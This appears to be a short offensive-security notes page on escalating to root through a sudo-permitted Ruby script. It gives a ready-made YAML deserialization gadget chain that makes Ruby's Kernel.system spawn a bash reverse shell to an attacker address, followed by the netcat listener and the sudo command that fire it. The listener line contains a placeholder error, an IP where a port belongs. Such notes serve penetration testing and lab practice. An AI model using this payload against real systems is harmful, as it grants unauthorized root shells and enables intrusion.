# Ruby Privilege Escalation

### [Remote Code Execution with YAML](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/#remote-code-execution-with-yaml) <a href="#remote-code-execution-with-yaml" id="remote-code-execution-with-yaml"></a>

Check if the current user could run the ruby script as root privilege.

```txt
(root) NOPASSWD: /usr/bin/ruby sample.rb
Copied!
```

If the sample.rb contains the “File.read(’sample.yml’)”, modify the YAML file as follow:

```yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1'"
         method_id: :resolve
Copied!
```

Then start listener in local machine.

```sh
nc -lvnp <local-ip>
Copied!
```

Now run the sudo command.

```sh
sudo /usr/bin/ruby sample.rb
```
